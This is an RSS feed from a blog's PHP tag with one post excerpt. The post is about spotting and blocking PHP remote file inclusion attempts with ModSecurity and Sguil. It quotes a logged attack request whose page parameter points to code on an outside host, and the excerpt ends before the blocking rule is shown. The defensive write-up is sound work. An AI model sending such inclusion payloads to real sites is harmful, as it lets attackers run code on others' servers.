<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Php on Inliniac</title>
    <link>https://inliniac.net/blog/tag/php/</link>
    <description>Recent content in Php on Inliniac</description>
    <generator>Hugo</generator>
    <language>en</language>
    <lastBuildDate>Wed, 14 Jan 2009 23:53:08 +0000</lastBuildDate>
    <atom:link href="https://inliniac.net/blog/tag/php/feed.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Extracting bad url&#39;s from ModSecurity events in Sguil</title>
      <link>https://inliniac.net/blog/2009/01/15/extracting-bad-urls-from-modsecurity-events-in-sguil/</link>
      <pubDate>Wed, 14 Jan 2009 23:53:08 +0000</pubDate>
      <guid>https://inliniac.net/blog/2009/01/15/extracting-bad-urls-from-modsecurity-events-in-sguil/</guid>
      <description>&lt;p&gt;Running a PHP based blog, I see a lot of attempts to include code hosted elsewhere in requests. A long time ago I added a simple rule to block one type of the these attempts. A typical attempt looks like this:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;GET /blog/category/index.php?page=http://www.djrady.ru/includes/conf.txt?? HTTP/1.1&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;Notice the trailing questionmarks? Turns out these are always present, so very easy to block on. I&amp;rsquo;m doing that for a long time now, never seen a single false positive. The rule looks like this:&lt;/p&gt;</description>
    </item>
  </channel>
</rss>
